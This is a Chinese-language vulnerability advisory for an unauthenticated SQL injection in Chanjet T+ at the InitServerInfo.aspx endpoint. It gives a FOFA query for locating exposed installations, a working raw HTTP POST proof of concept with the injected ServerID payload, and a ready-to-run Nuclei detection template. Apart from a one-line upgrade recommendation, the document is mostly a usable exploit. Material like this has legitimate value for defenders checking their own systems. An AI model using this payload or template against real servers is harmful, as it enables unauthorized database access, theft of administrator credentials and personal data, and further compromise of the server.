1.漏洞介绍
畅捷通 T+ 是一款灵动,智慧,时尚的基于互联网时代开发的管理软件,主要针对中小型工贸与商贸企业,尤其适合有异地多组织机构(多工厂,多仓库,多办事处,多经销商)的企业,涵盖了财务,业务,生产等领域的应用,产品应用功能包括:采购管理、库存管理、销售管理、生产管理、分销管理、零售管理、往来管理、现金银行管理、总账、移动应用等,融入了社交化、移动化、电子商务、互联网信息订阅等元素,为企业打造全新的生意模式、管理模式、工作模式。与传统管理软件相比,“T+”更强调企业管理向企业经营的转变、等级化管人向平等化用人理念的转变。
由于畅捷通T+的InitServerInfo.aspx接口处未对用户的输入进行过滤和校验,未经身份验证的攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
2.漏洞编号
CVE | CNVD | CNNVD |
---|---|---|
- | - | - |
3.影响范围
名称 | 版本号 |
---|---|
- |
4.检索特征
FOFA:app=“畅捷通-TPlus”
5.POC
POST /tplus/UFAQD/InitServerInfo.aspx?preload=1 HTTP/1.1
Host: XXXXXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 113
operbtn=create&ServerID=1'%2b(select 1 where 1 in (SELECT sys.fn_varbintohexstr(hashbytes('MD5','123456'))))%2b'1
nuclei检测
id: changjietong-InitServerInfo-sql-Injection
info:
name: 由于畅捷通T+的InitServerInfo.aspx接口处未对用户的输入进行过滤和校验
author: test
severity: critical
description: 由于畅捷通T+的InitServerInfo.aspx接口处未对用户的输入进行过滤和校验,未经身份验证的攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
reference:
metadata:
verified: true
max-request: 1
fofa-query: FOFA:app="畅捷通-TPlus"
tags: sqli
http:
- raw:
- |
POST /tplus/UFAQD/InitServerInfo.aspx?preload=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 113
operbtn=create&ServerID=1'%2b(select 1 where 1 in (SELECT sys.fn_varbintohexstr(hashbytes('MD5','1'))))%2b'1
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"0xc4ca4238a0b923820dcc509a6f75849b")
6.修复建议
更新到最新版本